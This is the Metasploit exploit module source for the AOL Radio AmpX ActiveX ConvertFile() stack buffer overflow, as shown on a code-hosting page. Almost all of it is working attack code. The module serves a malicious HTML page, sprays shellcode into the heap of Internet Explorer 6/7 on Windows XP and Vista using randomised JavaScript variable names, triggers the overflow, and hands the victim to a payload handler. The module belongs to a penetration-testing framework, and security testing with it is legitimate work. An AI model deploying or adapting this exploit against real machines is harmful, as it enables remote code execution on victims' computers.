Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/aol_ampx_convertfile.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(update_info(info,12'Name' => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',13'Description' => %q{14This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX15class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.16By setting an overly long value to 'ConvertFile()', an attacker can overrun17a buffer and execute arbitrary code.18},19'License' => MSF_LICENSE,20'Author' =>21[22'rgod <rgod[at]autistici.org>', # Original exploit [see References]23'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation24],25'References' =>26[27[ 'OSVDB', '54706' ],28[ 'BID', '35028' ],29[ 'EDB', '8733' ],30],31'DefaultOptions' =>32{33'EXITFUNC' => 'process',34},35'Payload' =>36{37'Space' => 1024,38'BadChars' => "\x00\x09\x0a\x0d'\\",39'StackAdjustment' => -3500,40},41'Platform' => 'win',42'Targets' =>43[44[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]45],46'DisclosureDate' => '2009-05-19',47'DefaultTarget' => 0))48end4950def autofilter51false52end5354def check_dependencies55use_zlib56end5758def on_request_uri(cli, request)59# Re-generate the payload60return if ((p = regenerate_payload(cli)) == nil)6162# Encode the shellcode63shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))6465# Setup exploit buffers66nops = Rex::Text.to_unescape([target.ret].pack('V'))67ret = Rex::Text.uri_encode([target.ret].pack('L'))68blocksize = 0x4000069fillto = 50070offset = target['Offset']7172# Randomize the javascript variable names73ampx = rand_text_alpha(rand(100) + 1)74j_shellcode = rand_text_alpha(rand(100) + 1)75j_nops = rand_text_alpha(rand(100) + 1)76j_headersize = rand_text_alpha(rand(100) + 1)77j_slackspace = rand_text_alpha(rand(100) + 1)78j_fillblock = rand_text_alpha(rand(100) + 1)79j_block = rand_text_alpha(rand(100) + 1)80j_memory = rand_text_alpha(rand(100) + 1)81j_counter = rand_text_alpha(rand(30) + 2)82j_ret = rand_text_alpha(rand(100) + 1)83j_eax = rand_text_alpha(rand(100) + 1)84j_bof = rand_text_alpha(rand(100) + 1)85randnop = rand_text_alpha(rand(100) + 1)8687# Build out the message88content = %Q|89<html>90<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>91<script language='javascript'>92#{j_shellcode}=unescape('#{shellcode}');93var #{randnop} = "#{nops}";94#{j_nops}=unescape(#{randnop});95#{j_headersize}=20;96#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;97while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};98#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});99#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});100while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};101#{j_memory}=new Array();102for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};103#{j_eax}='';104for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');105#{j_ret}='';106for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');107#{j_bof}=#{j_eax}+#{j_ret};108#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);109#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);110#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);111#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);112</script>113</html>114|115116print_status("Sending #{self.name}")117118# Transmit the response to the client119send_response_html(cli, content)120121# Handle the payload122handler(cli)123end124end125126127